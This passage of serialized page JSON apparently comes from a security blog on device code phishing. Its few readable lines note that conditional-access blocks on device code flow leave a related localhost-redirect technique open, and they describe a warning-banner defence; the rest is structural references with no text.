configuration. ",[],{},"DCP IB 6",{"sys":85235,"__typename":9270,"content":85236,"name":85257,"title":59},{"id":32314},{"json":85237},{"nodeType":1739,"data":85238,"content":85239},{},[85240],{"nodeType":866,"data":85241,"content":85242},{},[85243,85247,85253],{"nodeType":865,"value":85244,"marks":85245,"data":85246},"However, it's important to recognize that blocking device code flow is not a complete solution. Related techniques like ",[],{},{"nodeType":882,"data":85248,"content":85249},{"uri":11102},[85250],{"nodeType":865,"value":11095,"marks":85251,"data":85252},[],{},{"nodeType":865,"value":85254,"marks":85255,"data":85256}," — which exploits the authorization code flow with localhost redirects rather than the device code flow — produce the same access tokens with the same capabilities but are not blocked by device code flow specific CA policies. ",[],{},"DCP IB 7",{"sys":85259,"__typename":1747,"title":85260,"caption":85261,"layoutMode":59,"file":85262},{"id":32372},"DCP warning banner","Users visiting a device code login page will be required to click through a warning banner, emitting a webhook event.",{"url":85263,"width":70203,"height":70204},"https://images.ctfassets.net/y1cdw1ablpvd/2Gtct2qofWtLLVi31Pk8NY/616e56fc4fa7dcb905a0a3a1ca28709b/image17.png",{"items":85265},[],{},"Analyzing the rise in device code phishing attacks in 2026",{"items":85269},[85270,86098,86846],{"__typename":1788,"sys":85271,"content":85272,"title":74729,"synopsis":74730,"hashTags":59,"publishedDate":74731,"slug":74732,"tagsCollection":86088,"authorsCollection":86094},{"id":73788},{"json":85273},{"data":85274,"content":85275,"nodeType":1739},{},[85276,85282,85288,85294,85297,85304,85310,85316,85321,85327,85332,85348,85354,85364,85367,85374,85380,85393,85399,85409,85414,85417,85424,85431,85436,85444,85460,85468,85474,85482,85497,85505,85511,85519,85545,85553,85559,85567,85583,85588,85596,85602,85610,85643,85646,85653,85661,85677,85685,85691,85699,85725,85730,85738,85744,85749,85752,85759,85767,85773,85824,85829,85832,85839,85847,85853,85858,85861,85868,85874,85880,85940,85946,86001,86007,86010,86017,86023,86029,86034,86037,86044,86050,86056,86062],{"data":85277,"content":85278,"nodeType":866},{},[85279],{"data":85280,"marks":85281,"value":73799,"nodeType":865},{},[],{"data":85283,"content":85284,"nodeType":866},{},[85285],{"data":85286,"marks":85287,"value":73806,"nodeType":865},{},[],{"data":85289,"content":85290,"nodeType":866},{},[85291],{"data":85292,"marks":85293,"value":73813,"nodeType":865},{},[],{"data":85295,"content":85296,"nodeType":953},{},[],{"data":85298,"content":85299,"nodeType":963},{},[85300],{"data":85301,"marks":85302,"value":73824,"nodeType":865},{},[85303],{"type":961},{"data":85305,"content":85306,"nodeType":866},{},[85307],{"data":85308,"marks":85309,"value":73831,"nodeType":865},{},[],{"data":85311,"content":85312,"nodeType":866},{},[85313],{"data":85314,"marks":85315,"value":73838,"nodeType":865},{},[],{"data":85317,"content":85320,"nodeType":925},{"target":85318},{"sys":85319},{"id":73843,"type":922,"linkType":923},[],{"data":85322,"content":85323,"nodeType":866},{},[85324],{"data":85325,"marks":85326,"value":73851,"nodeType":865},{},[],{"data":85328,"content":85331,"nodeType":925},{"target":85329},{"sys":85330},{"id":73856,"type":922,"linkType":923},[],{"data":85333,"content":85334,"nodeType":866},{},[85335,85338,85345],{"data":85336,"marks":85337,"value":73864,"nodeType":865},{},[],{"data":85339,"content":85340,"nodeType":882},{"uri":39517},[85341],{"data":85342,"marks":85343,"value":73872,"nodeType":865},{},[85344],{"type":997},{"data":85346,"marks":85347,"value":73876,"nodeType":865},{},[],{"data":85349,"content":85350,"nodeType":866},{},[85351],{"data":85352,"marks":85353,"value":73883,"nodeType":865},{},[],{"data":85355,"content":85356,"nodeType":866},{},[85357,85360],{"data":85358,"marks":85359,"value":73890,"nodeType":865},{},[],{"data":85361,"marks":85362,"value":73895,"nodeType":865},{},[85363],{"type":961},{"data":85365,"content":85366,"nodeType":953},{},[],{"data":85368,"content":85369,"nodeType":963},{},[85370],{"data":85371,"marks":85372,"value":73906,"nodeType":865},{},[85373],{"type":961},{"data":85375,"content":85376,"nodeType":866},{},[85377],{"data":85378,"marks":85379,"value":73913,"nodeType":865},{},[],{"data":85381,"content":85382,"nodeType":866},{},[85383,85386,85390],{"data":85384,"marks":85385,"value":73920,"nodeType":865},{},[],{"data":85387,"marks":85388,"value":73925,"nodeType":865},{},[85389],{"type":961},{"data":85391,"marks":85392,"value":73929,"nodeType":865},{},[],{"data":85394,"content":85395,"nodeType":866},{},[85396],{"data":85397,"marks":85398,"value":73936,"nodeType":865},{},[],{"data":85400,"content":85401,"nodeType":866},{},[85402,85405],{"data":85403,"marks":85404,"value":73943,"nodeType":865},{},[],{"data":85406,"marks":85407,"value":73948,"nodeType":865},{},[85408],{"type":961},{"data":85410,"content":85413,"nodeType":925},{"target":85411},{"sys":85412},{"id":73953,"type":922,"linkType":923},[],{"data":85415,"content":85416,"nodeType":953},{},[],{"data":85418,"content":85419,"nodeType":963},{},[85420],{"data":85421,"marks":85422,"value":73965,"nodeType":865},{},[85423],{"type":961},{"data":85425,"content":85426,"nodeType":1458},{},[85427],{"data":85428,"marks":85429,"value":73973,"nodeType":865},{},[85430],{"type":961},{"data":85432,"content":85435,"nodeType":925},{"target":85433},{"sys":85434},{"id":73978,"type":922,"linkType":923},[],{"data":85437,"content":85438,"nodeType":866},{},[85439],{"data":85440,"marks":85441,"value":73988,"nodeType":865},{},[85442,85443],{"type":961},{"type":997},{"data":85445,"content":85446,"nodeType":866},{},[85447,85450,85457],{"data":85448,"marks":85449,"value":73995,"nodeType":865},{},[],{"data":85451,"content":85452,"nodeType":882},{"uri":73998},[85453],{"data":85454,"marks":85455,"value":74004,"nodeType":865},{},[85456],{"type":997},{"data":85458,"marks":85459,"value":74008,"nodeType":865},{},[],{"data":85461,"content":85462,"nodeType":866},{},[85463],{"data":85464,"marks":85465,"value":74017,"nodeType":865},{},[85466,85467],{"type":961},{"type":997},{"data":85469,"content":85470,"nodeType":866},{},[85471],{"data":85472,"marks":85473,"value":74024,"nodeType":865},{},[],{"data":85475,"content":85476,"nodeType":866},{},[85477],{"data":85478,"marks":85479,"value":74033,"nodeType":865},{},[85480,85481],{"type":961},{"type":997},{"data":85483,"content":85484,"nodeType":866},{},[85485,85488,85494],{"data":85486,"marks":85487,"value":74040,"nodeType":865},{},[],{"data":85489,"content":85490,"nodeType":882},{"uri":74043},[85491],{"data":85492,"marks":85493,"value":74048,"nodeType":865},{},[],{"data":85495,"marks":85496,"value":74052,"nodeType":865},{},[],{"data":85498,"content":85499,"nodeType":866},{},[85500],{"data":85501,"marks":85502,"value":74061,"nodeType":865},{},[85503,85504],{"type":961},{"type":997},{"data":85506,"content":85507,"nodeType":866},{},[85508],{"data":85509,"marks":85510,"value":74068,"nodeType":865},{},[],{"data":85512,"content":85513,"nodeType":866},{},[85514],{"data":85515,"marks":85516,"value":74077,"nodeType":865},{},[85517,85518],{"type":961},{"type":997},{"data":85520,"content":85521,"nodeType":866},{},[85522,85525,85532,85535,85542],{"data":85523,"marks":85524,"value":74084,"nodeType":865},{},[],{"data":85526,"content":85527,"nodeType":882},{"uri":3904},[85528],{"data":85529,"marks":85530,"value":74092,"nodeType":865},{},[85531],{"type":997},{"data":85533,"marks":85534,"value":74096,"nodeType":865},{},[],{"data":85536,"content":85537,"nodeType":882},{"uri":74099},[85538],{"data":85539,"marks":85540,"value":10345,"nodeType":865},{},[85541],{"type":997},{"data":85543,"marks":85544,"value":74108,"nodeType":865},{},[],{"data":85546,"content":85547,"nodeType":866},{},[85548],{"data":85549,"marks":85550,"value":74117,"nodeType":865},{},[85551,85552],{"type":961},{"type":997},{"data":85554,"content":85555,"nodeType":866},{},[85556],{"data":85557,"marks":85558,"value":74124,"nodeType":865},{},[],{"data":85560,"content":85561,"nodeType":866},{},[85562],{"data":85563,"marks":85564,"value":74133,"nodeType":865},{},[85565,85566],{"type":961},{"type":997},{"data":85568,"content":85569,"nodeType":866},{},[85570,85573,85580],{"data":85571,"marks":85572,"value":74140,"nodeType":865},{},[],{"data":85574,"content":85575,"nodeType":882},{"uri":74099},[85576],{"data":85577,"marks":85578,"value":10345,"nodeType":865},{},[85579],{"type":997},{"data":85581,"marks":85582,"value":74151,"nodeType":865},{},[],{"data":85584,"content":85587,"nodeType":925},{"target":85585},{"sys":85586},{"id":74156,"type":922,"linkType":923},[],{"data":85589,"content":85590,"nodeType":866},{},[85591],{"data":85592,"marks":85593,"value":74166,"nodeType":865},{},[85594,85595],{"type":961},{"type":997},{"data":85597,"content":85598,"nodeType":866},{},[85599],{"data":85600,"marks":85601,"value":74173,"nodeType":865},{},[],{"data":85603,"content":85604,"nodeType":866},{},[85605],{"data":85606,"marks":85607,"value":74182,"nodeType":865},{},[85608,85609],{"type":961},{"type":997},{"data":85611,"content":85612,"nodeType":866},{},[85613,85616,85622,85625,85631,85634,85640],{"data":85614,"marks":85615,"value":74189,"nodeType":865},{},[],{"data":85617,"content":85618,"nodeType":882},{"uri":74192},[85619],{"data":85620,"marks":85621,"value":74197,"nodeType":865},{},[],{"data":85623,"marks":85624,"value":8756,"nodeType":865},{},[],{"data":85626,"content":85627,"nodeType":882},{"uri":74203},[85628],{"data":85629,"marks":85630,"value":74208,"nodeType":865},{},[],{"data":85632,"marks":85633,"value":74212,"nodeType":865},{},[],{"data":85635,"content":85636,"nodeType":882},{"uri":19454},[85637],{"data":85638,"marks":85639,"value":74219,"nodeType":865},{},[],{"data":85641,"marks":85642,"value":74223,"nodeType":865},{},[],{"data":85644,"content":85645,"nodeType":953},{},[],{"data":85647,"content":85648,"nodeType":1458},{},[85649],{"data":85650,"marks":85651,"value":74234,"nodeType":865},{},[85652],{"type":961},{"data":85654,"content":85655,"nodeType":866},{},[85656],{"data":85657,"marks":85658,"value":74243,"nodeType":865},{},[85659,85660],{"type":961},{"type":997},{"data":85662,"content":85663,"nodeType":866},{},[85664,85667,85674],{"data":85665,"marks":85666,"value":74250,"nodeType":865},{},[],{"data":85668,"content":85669,"nodeType":882},{"uri":74253},[85670],{"data":85671,"marks":85672,"value":74259,"nodeType":865},{},[85673],{"type":997},{"data":85675,"marks":85676,"value":74263,"nodeType":865},{},[],{"data":85678,"content":85679,"nodeType":866},{},[85680],{"data":85681,"marks":85682,"value":74272,"nodeType":865},{},[85683,85684],{"type":961},{"type":997},{"data":85686,"content":85687,"nodeType":866},{},[85688],{"data":85689,"marks":85690,"value":74279,"nodeType":865},{},[],{"data":85692,"content":85693,"nodeType":866},{},[85694],{"data":85695,"marks":85696,"value":74288,"nodeType":865},{},[85697,85698],{"type":961},{"type":997},{"data":85700,"content":85701,"nodeType":866},{},[85702,85705,85712,85715,85722],{"data":85703,"marks":85704,"value":74295,"nodeType":865},{},[],{"data":85706,"content":85707,"nodeType":882},{"uri":74298},[85708],{"data":85709,"marks":85710,"value":74304,"nodeType":865},{},[85711],{"type":997},{"data":85713,"marks":85714,"value":74308,"nodeType":865},{},[],{"data":85716,"content":85717,"nodeType":882},{"uri":74311},[85718],{"data":85719,"marks":85720,"value":74317,"nodeType":865},{},[85721],{"type":997},{"data":85723,"marks":85724,"value":74321,"nodeType":865},{},[],{"data":85726,"content":85729,"nodeType":925},{"target":85727},{"sys":85728},{"id":74326,"type":922,"linkType":923},[],{"data":85731,"content":85732,"nodeType":866},{},[85733],{"data":85734,"marks":85735,"value":74336,"nodeType":865},{},[85736,85737],{"type":961},{"type":997},{"data":85739,"content":85740,"nodeType":866},{},[85741],{"data":85742,"marks":85743,"value":74343,"nodeType":865},{},[],{"data":85745,"content":85748,"nodeType":925},{"target":85746},{"sys":85747},{"id":74348,"type":922,"linkType":923},[],{"data":85750,"content":85751,"nodeType":953},{},[],{"data":85753,"content":85754,"nodeType":1458},{},[85755],{"data":85756,"marks":85757,"value":694,"nodeType":865},{},[85758],{"type":961},{"data":85760,"content":85761,"nodeType":866},{},[85762],{"data":85763,"marks":85764,"value":74368,"nodeType":865},{},[85765,85766],{"type":961},{"type":997},{"data":85768,"content":85769,"nodeType":866},{},[85770],{"data":85771,"marks":85772,"value":74375,"nodeType":865},{},[],{"data":85774,"content":85775,"nodeType":1049},{},[85776,85789,85802],{"data":85777,"content":85778,"nodeType":1003},{},[85779],{"data":85780,"content":85781,"nodeType":866},{},[85782,85786],{"data":85783,"marks":85784,"value":74389,"nodeType":865},{},[85785],{"type":961},{"data":85787,"marks":85788,"value":74393,"nodeType":865},{},[],{"data":85790,"content":85791,"nodeType":1003},{},[85792],{"data":85793,"content":85794,"nodeType":866},{},[85795,85799],{"data":85796,"marks":85797,"value":74404,"nodeType":865},{},[85798],{"type":961},{"data":85800,"marks":85801,"value":74408,"nodeType":865},{},[],{"data":85803,"content":85804,"nodeType":1003},{},[85805],{"data":85806,"content":85807,"nodeType":866},{},[85808,85812,85815,85821],{"data":85809,"marks":85810,"value":74419,"nodeType":865},{},[85811],{"type":961},{"data":85813,"marks":85814,"value":74423,"nodeType":865},{},[],{"data":85816,"content":85817,"nodeType":882},{"uri":64109},[85818],{"data":85819,"marks":85820,"value":74430,"nodeType":865},{},[],{"data":85822,"marks":85823,"value":74434,"nodeType":865},{},[],{"data":85825,"content":85828,"nodeType":925},{"target":85826},{"sys":85827},{"id":74439,"type":922,"linkType":923},[],{"data":85830,"content":85831,"nodeType":953},{},[],{"data":85833,"content":85834,"nodeType":1458},{},[85835],{"data":85836,"marks":85837,"value":699,"nodeType":865},{},[85838],{"type":961},{"data":85840,"content":85841,"nodeType":866},{},[85842],{"data":85843,"marks":85844,"value":74459,"nodeType":865},{},[85845,85846],{"type":961},{"type":997},{"data":85848,"content":85849,"nodeType":866},{},[85850],{"data":85851,"marks":85852,"value":74466,"nodeType":865},{},[],{"data":85854,"content":85857,"nodeType":925},{"target":85855},{"sys":85856},{"id":74471,"type":922,"linkType":923},[],{"data":85859,"content":85860,"nodeType":953},{},[],{"data":85862,"content":85863,"nodeType":963},{},[85864],{"data":85865,"marks":85866,"value":38047,"nodeType":865},{},[85867],{"type":961},{"data":85869,"content":85870,"nodeType":866},{},[85871],{"data":85872,"marks":85873,"value":74489,"nodeType":865},{},[],{"data":85875,"content":85876,"nodeType":866},{},[85877],{"data":85878,"marks":85879,"value":74496,"nodeType":865},{},[],{"data":85881,"content":85882,"nodeType":1049},{},[85883,85902,85921],{"data":85884,"content":85885,"nodeType":1003},{},[85886],{"data":85887,"content":85888,"nodeType":866},{},[85889,85892,85899],{"data":85890,"marks":85891,"value":74509,"nodeType":865},{},[],{"data":85893,"content":85894,"nodeType":882},{"uri":74512},[85895],{"data":85896,"marks":85897,"value":29673,"nodeType":865},{},[85898],{"type":997},{"data":85900,"marks":85901,"value":23156,"nodeType":865},{},[],{"data":85903,"content":85904,"nodeType":1003},{},[85905],{"data":85906,"content":85907,"nodeType":866},{},[85908,85911,85918],{"data":85909,"marks":85910,"value":74530,"nodeType":865},{},[],{"data":85912,"content":85913,"nodeType":882},{"uri":74533},[85914],{"data":85915,"marks":85916,"value":74539,"nodeType":865},{},[85917],{"type":997},{"data":85919,"marks":85920,"value":23156,"nodeType":865},{},[],{"data":85922,"content":85923,"nodeType":1003},{},[85924],{"data":85925,"content":85926,"nodeType":866},{},[85927,85930,85937],{"data":85928,"marks":85929,"value":74552,"nodeType":865},{},[],{"data":85931,"content":85932,"nodeType":882},{"uri":3240},[85933],{"data":85934,"marks":85935,"value":74560,"nodeType":865},{},[85936],{"type":997},{"data":85938,"marks":85939,"value":23156,"nodeType":865},{},[],{"data":85941,"content":85942,"nodeType":866},{},[85943],{"data":85944,"marks":85945,"value":74570,"nodeType":865},{},[],{"data":85947,"content":85948,"nodeType":1049},{},[85949,85962,85975,85988],{"data":85950,"content":85951,"nodeType":1003},{},[85952],{"data":85953,"content":85954,"nodeType":866},{},[85955,85959],{"data":85956,"marks":85957,"value":74584,"nodeType":865},{},[85958],{"type":961},{"data":85960,"marks":85961,"value":74588,"nodeType":865},{},[],{"data":85963,"content":85964,"nodeType":1003},{},[85965],{"data":85966,"content":85967,"nodeType":866},{},[85968,85972],{"data":85969,"marks":85970,"value":74599,"nodeType":865},{},[85971],{"type":961},{"data":85973,"marks":85974,"value":74603,"nodeType":865},{},[],{"data":85976,"content":85977,"nodeType":1003},{},[85978],{"data":85979,"content":85980,"nodeType":866},{},[85981,85985],{"data":85982,"marks":85983,"value":74614,"nodeType":865},{},[85984],{"type":961},{"data":85986,"marks":85987,"value":74618,"nodeType":865},{},[],{"data":85989,"content":85990,"nodeType":1003},{},[85991],{"data":85992,"content":85993,"nodeType":866},{},[85994,85998],{"data":85995,"marks":85996,"value":74629,"nodeType":865},{},[85997],{"type":961},{"data":85999,"marks":86000,"value":74633,"nodeType":865},{},[],{"data":86002,"content":86003,"nodeType":866},{},[86004],{"data":86005,"marks":86006,"value":74640,"nodeType":865},{},[],{"data":86008,"content":86009,"nodeType":953},{},[],{"data":86011,"content":86012,"nodeType":963},{},[86013],{"data":86014,"marks":86015,"value":74651,"nodeType":865},{},[86016],{"type":961},{"data":86018,"content":86019,"nodeType":866},{},[86020],{"data":86021,"marks":86022,"value":74658,"nodeType":865},{},[],{"data":86024,"content":86025,"nodeType":866},{},[86026],{"data":86027,"marks":86028,"value":74665,"nodeType":865},{},[],{"data":86030,"content":86033,"nodeType":925},{"target":86031},{"sys":86032},{"id":74670,"type":922,"linkType":923},[],{"data":86035,"content":86036,"nodeType":953},{},[],{"data":86038,"content":86039,"nodeType":963},{},[86040],{"data":86041,"marks":86042,"value":3604,"nodeType":865},{},[86043],{"type":961},{"data":86045,"content":86046,"nodeType":866},{},[86047],{"data":86048,"marks":86049,"value":74688,"nodeType":865},{},[],{"data":86051,"content":86052,"nodeType":866},{},[86053],{"data":86054,"marks":86055,"value":74695,"nodeType":865},{},[],{"data":86057,"content":86058,"nodeType":866},{},[86059],{"data":86060,"marks":86061,"value":74702,"nodeType":865},{},[],{"data":86063,"content":86064,"nodeType":866},{},[86065,86068,86075,86078,86085],{"data":86066,"marks":86067,"value":32401,"nodeType":865},{},[],{"data":86069,"content":86070,"nodeType":882},{"uri":22700},[86071],{"data":86072,"marks":86073,"value":22706,"nodeType":865},{},[86074],{"type":997},{"data":86076,"marks":86077,"value":71034,"nodeType":865},{},[],{"data":86079,"content":86080,"nodeType":882},{"uri":1728},[86081],{"data":86082,"marks":86083,"value":22730,"nodeType":865},{},[86084],{"type":997},{"data":86086,"marks":86087,"value":1048,"nodeType":865},{},[],{"items":86089},[86090,86092],{"sys":86091,"name":11426},{"id":11425},{"sys":86093,"name":342},{"id":8410},{"items":86095},[86096],{"fullName":11430,"firstName":11431,"jobTitle":11432,"profilePicture":86097},{"url":11434},{"__typename":1788,"sys":86099,"content":86100,"title":60304,"synopsis":71057,"hashTags":59,"publishedDate":71058,"slug":60305,"tagsCollection":86836,"authorsCollection":86842},{"id":15510},{"json":86101},{"data":86102,"content":86103,"nodeType":1739},{},[86104,86111,86117,86123,86129,86139,86145,86150,86155,86158,86165,86171,86177,86182,86198,86204,86209,86215,86220,86226,86265,86270,86275,86281,86287,86290,86297,86313,86319,86324,86340,86345,86361,86367,86370,86377,86383,86419,86429,86432,86439,86454,86460,86473,86479,86485,86490,86496,86499,86506,86512,86560,86566,86569,86576,86581,86587,86593,86598,86604,86633,86639,86645,86650,86656,86661,86668,86684,86690,86720,86726,86756,86759,86766,86772,86777,86793,86799,86825,86830],{"data":86105,"content":86106,"nodeType":963},{},[86107],{"data":86108,"marks":86109,"value":70224,"nodeType":865},{},[86110],{"type":961},{"data":86112,"content":86113,"nodeType":866},{},[86114],{"data":86115,"marks":86116,"value":70231,"nodeType":865},{},[],{"data":86118,"content":86119,"nodeType":866},{},[86120],{"data":86121,"marks":86122,"value":70238,"nodeType":865},{},[],{"data":86124,"content":86125,"nodeType":866},{},[86126],{"data":86127,"marks":86128,"value":70245,"nodeType":865},{},[],{"data":86130,"content":86131,"nodeType":866},{},[86132,86136],{"data":86133,"marks":86134,"value":70253,"nodeType":865},{},[86135],{"type":961},{"data":86137,"marks":86138,"value":70257,"nodeType":865},{},[],{"data":86140,"content":86141,"nodeType":866},{},[86142],{"data":86143,"marks":86144,"value":70264,"nodeType":865},{},[],{"data":86146,"content":86149,"nodeType":925},{"target":86147},{"sys":86148},{"id":70269,"type":922,"linkType":923},[],{"data":86151,"content":86154,"nodeType":925},{"target":86152},{"sys":86153},{"id":70275,"type":922,"linkType":923},[],{"data":86156,"content":86157,"nodeType":953},{},[],{"data":86159,"content":86160,"nodeType":963},{},[86161],{"data":86162,"marks":86163,"value":70287,"nodeType":865},{},[86164],{"type":961},{"data":86166,"content":86167,"nodeType":866},{},[86168],{"data":86169,"marks":86170,"value":70294,"nodeType":865},{},[],{"data":86172,"content":86173,"nodeType":866},{},[86174],{"data":86175,"marks":86176,"value":70301,"nodeType":865},{},[],{"data":86178,"content":86181,"nodeType":925},{"target":86179},{"sys":86180},{"id":70306,"type":922,"linkType":923},[],{"data":86183,"content":86184,"nodeType":866},{},[86185,86188,86195],{"data":86186,"marks":86187,"value":70314,"nodeType":865},{},[],{"data":86189,"content":86190,"nodeType":882},{"uri":70317},[86191],{"data":86192,"marks":86193,"value":70323,"nodeType":865},{},[86194],{"type":997},{"data":86196,"marks":86197,"value":70327,"nodeType":865},{},[],{"data":86199,"content":86200,"nodeType":866},{},[86201],{"data":86202,"marks":86203,"value":70334,"nodeType":865},{},[],{"data":86205,"content":86208,"nodeType":925},{"target":86206},{"sys":86207},{"id":70339,"type":922,"linkType":923},[],{"data":86210,"content":86211,"nodeType":866},{},[86212],{"data":86213,"marks":86214,"value":70347,"nodeType":865},{},[],{"data":86216,"content":86219,"nodeType":925},{"target":86217},{"sys":86218},{"id":70352,"type":922,"linkType":923},[],{"data":86221,"content":86222,"nodeType":866},{},[86223],{"data":86224,"marks":86225,"value":70360,"nodeType":865},{},[],{"data":86227,"content":86228,"nodeType":1049},{},[86229,86238,86247,86256],{"data":86230,"content":86231,"nodeType":1003},{},[86232],{"data":86233,"content":86234,"nodeType":866},{},[86235],{"data":86236,"marks":86237,"value":70373,"nodeType":865},{},[],{"data":86239,"content":86240,"nodeType":1003},{},[86241],{"data":86242,"content":86243,"nodeType":866},{},[86244],{"data":86245,"marks":86246,"value":70383,"nodeType":865},{},[],{"data":86248,"content":86249,"nodeType":1003},{},[86250],{"data":86251,"content":86252,"nodeType":866},{},[86253],{"data":86254,"marks":86255,"value":70393,"nodeType":865},{},[],{"data":86257,"content":86258,"nodeType":1003},{},[86259],{"data":86260,"content":86261,"nodeType":866},{},[86262],{"data":86263,"marks":86264,"value":70403,"nodeType":865},{},[],{"data":86266,"content":86269,"nodeType":925},{"target":86267},{"sys":86268},{"id":70408,"type":922,"linkType":923},[],{"data":86271,"content":86274,"nodeType":925},{"target":86272},{"sys":86273},{"id":70414,"type":922,"linkType":923},[],{"data":86276,"content":86277,"nodeType":866},{},[86278],{"data":86279,"marks":86280,"value":70422,"nodeType":865},{},[],{"data":86282,"content":86283,"nodeType":866},{},[86284],{"data":86285,"marks":86286,"value":70429,"nodeType":865},{},[],{"data":86288,"content":86289,"nodeType":953},{},[],{"data":86291,"content":86292,"nodeType":963},{},[86293],{"data":86294,"marks":86295,"value":70440,"nodeType":865},{},[86296],{"type":961},{"data":86298,"content":86299,"nodeType":866},{},[86300,86303,86310],{"data":86301,"marks":86302,"value":70447,"nodeType":865},{},[],{"data":86304,"content":86305,"nodeType":882},{"uri":70450},[86306],{"data":86307,"marks":86308,"value":70456,"nodeType":865},{},[86309],{"type":997},{"data":86311,"marks":86312,"value":70460,"nodeType":865},{},[],{"data":86314,"content":86315,"nodeType":866},{},[86316],{"data":86317,"marks":86318,"value":70467,"nodeType":865},{},[],{"data":86320,"content":86323,"nodeType":925},{"target":86321},{"sys":86322},{"id":70472,"type":922,"linkType":923},[],{"data":86325,"content":86326,"nodeType":866},{},[86327,86330,86337],{"data":86328,"marks":86329,"value":70480,"nodeType":865},{},[],{"data":86331,"content":86332,"nodeType":882},{"uri":38372},[86333],{"data":86334,"marks":86335,"value":70488,"nodeType":865},{},[86336],{"type":997},{"data":86338,"marks":86339,"value":1048,"nodeType":865},{},[],{"data":86341,"content":86344,"nodeType":925},{"target":86342},{"sys":86343},{"id":70496,"type":922,"linkType":923},[],{"data":86346,"content":86347,"nodeType":866},{},[86348,86351,86358],{"data":86349,"marks":86350,"value":70504,"nodeType":865},{},[],{"data":86352,"content":86353,"nodeType":882},{"uri":70507},[86354],{"data":86355,"marks":86356,"value":441,"nodeType":865},{},[86357],{"type":997},{"data":86359,"marks":86360,"value":70516,"nodeType":865},{},[],{"data":86362,"content":86363,"nodeType":866},{},[86364],{"data":86365,"marks":86366,"value":70523,"nodeType":865},{},[],{"data":86368,"content":86369,"nodeType":953},{},[],{"data":86371,"content":86372,"nodeType":963},{},[86373],{"data":86374,"marks":86375,"value":70534,"nodeType":865},{},[86376],{"type":961},{"data":86378,"content":86379,"nodeType":866},{},[86380],{"data":86381,"marks":86382,"value":70541,"nodeType":865},{},[],{"data":86384,"content":86385,"nodeType":866},{},[86386,86389,86396,86399,86406,86409,86416],{"data":86387,"marks":86388,"value":70548,"nodeType":865},{},[],{"data":86390,"content":86391,"nodeType":882},{"uri":70551},[86392],{"data":86393,"marks":86394,"value":70557,"nodeType":865},{},[86395],{"type":997},{"data":86397,"marks":86398,"value":8756,"nodeType":865},{},[],{"data":86400,"content":86401,"nodeType":882},{"uri":70563},[86402],{"data":86403,"marks":86404,"value":29100,"nodeType":865},{},[86405],{"type":997},{"data":86407,"marks":86408,"value":70572,"nodeType":865},{},[],{"data":86410,"content":86411,"nodeType":882},{"uri":70575},[86412],{"data":86413,"marks":86414,"value":70581,"nodeType":865},{},[86415],{"type":997},{"data":86417,"marks":86418,"value":70585,"nodeType":865},{},[],{"data":86420,"content":86421,"nodeType":866},{},[86422,86425],{"data":86423,"marks":86424,"value":70592,"nodeType":865},{},[],{"data":86426,"marks":86427,"value":70597,"nodeType":865},{},[86428],{"type":961},{"data":86430,"content":86431,"nodeType":953},{},[],{"data":86433,"content":86434,"nodeType":963},{},[86435],{"data":86436,"marks":86437,"value":70608,"nodeType":865},{},[86438],{"type":961},{"data":86440,"content":86441,"nodeType":866},{},[86442,86445,86451],{"data":86443,"marks":86444,"value":70615,"nodeType":865},{},[],{"data":86446,"content":86447,"nodeType":882},{"uri":13634},[86448],{"data":86449,"marks":86450,"value":29898,"nodeType":865},{},[],{"data":86452,"marks":86453,"value":70625,"nodeType":865},{},[],{"data":86455,"content":86456,"nodeType":866},{},[86457],{"data":86458,"marks":86459,"value":70632,"nodeType":865},{},[],{"data":86461,"content":86462,"nodeType":866},{},[86463,86466,86470],{"data":86464,"marks":86465,"value":70639,"nodeType":865},{},[],{"data":86467,"marks":86468,"value":70644,"nodeType":865},{},[86469],{"type":961},{"data":86471,"marks":86472,"value":70648,"nodeType":865},{},[],{"data":86474,"content":86475,"nodeType":866},{},[86476],{"data":86477,"marks":86478,"value":70655,"nodeType":865},{},[],{"data":86480,"content":86481,"nodeType":866},{},[86482],{"data":86483,"marks":86484,"value":70662,"nodeType":865},{},[],{"data":86486,"content":86489,"nodeType":925},{"target":86487},{"sys":86488},{"id":70667,"type":922,"linkType":923},[],{"data":86491,"content":86492,"nodeType":866},{},[86493],{"data":86494,"marks":86495,"value":70675,"nodeType":865},{},[],{"data":86497,"content":86498,"nodeType":953},{},[],{"data":86500,"content":86501,"nodeType":963},{},[86502],{"data":86503,"marks":86504,"value":70686,"nodeType":865},{},[86505],{"type":961},{"data":86507,"content":86508,"nodeType":866},{},[86509],{"data":86510,"marks":86511,"value":70693,"nodeType":865},{},[],{"data":86513,"content":86514,"nodeType":1049},{},[86515,86524,86533,86542,86551],{"data":86516,"content":86517,"nodeType":1003},{},[86518],{"data":86519,"content":86520,"nodeType":866},{},[86521],{"data":86522,"marks":86523,"value":70706,"nodeType":865},{},[],{"data":86525,"content":86526,"nodeType":1003},{},[86527],{"data":86528,"content":86529,"nodeType":866},{},[86530],{"data":86531,"marks":86532,"value":70716,"nodeType":865},{},[],{"data":86534,"content":86535,"nodeType":1003},{},[86536],{"data":86537,"content":86538,"nodeType":866},{},[86539],{"data":86540,"marks":86541,"value":70726,"nodeType":865},{},[],{"data":86543,"content":86544,"nodeType":1003},{},[86545],{"data":86546,"content":86547,"nodeType":866},{},[86548],{"data":86549,"marks":86550,"value":70736,"nodeType":865},{},[],{"data":86552,"content":86553,"nodeType":1003},{},[86554],{"data":86555,"content":86556,"nodeType":866},{},[86557],{"data":86558,"marks":86559,"value":70746,"nodeType":865},{},[],{"data":86561,"content":86562,"nodeType":866},{},[86563],{"data":86564,"marks":86565,"value":70753,"nodeType":865},{},[],{"data":86567,"content":86568,"nodeType":953},{},[],{"data":86570,"content":86571,"nodeType":963},{},[86572],{"data":86573,"marks":86574,"value":70764,"nodeType":865},{},[86575],{"type":961},{"data":86577,"content":86580,"nodeType":925},{"target":86578},{"sys":86579},{"id":70769,"type":922,"linkType":923},[],{"data":86582,"content":86583,"nodeType":866},{},[86584],{"data":86585,"marks":86586,"value":70777,"nodeType":865},{},[],{"data":86588,"content":86589,"nodeType":866},{},[86590],{"data":86591,"marks":86592,"value":70784,"nodeType":865},{},[],{"data":86594,"content":86597,"nodeType":925},{"target":86595},{"sys":86596},{"id":70789,"type":922,"linkType":923},[],{"data":86599,"content":86600,"nodeType":866},{},[86601],{"data":86602,"marks":86603,"value":70797,"nodeType":865},{},[],{"data":86605,"content":86606,"nodeType":1049},{},[86607,86620],{"data":86608,"content":86609,"nodeType":1003},{},[86610],{"data":86611,"content":86612,"nodeType":866},{},[86613,86617],{"data":86614,"marks":86615,"value":70811,"nodeType":865},{},[86616],{"type":961},{"data":86618,"marks":86619,"value":70815,"nodeType":865},{},[],{"data":86621,"content":86622,"nodeType":1003},{},[86623],{"data":86624,"content":86625,"node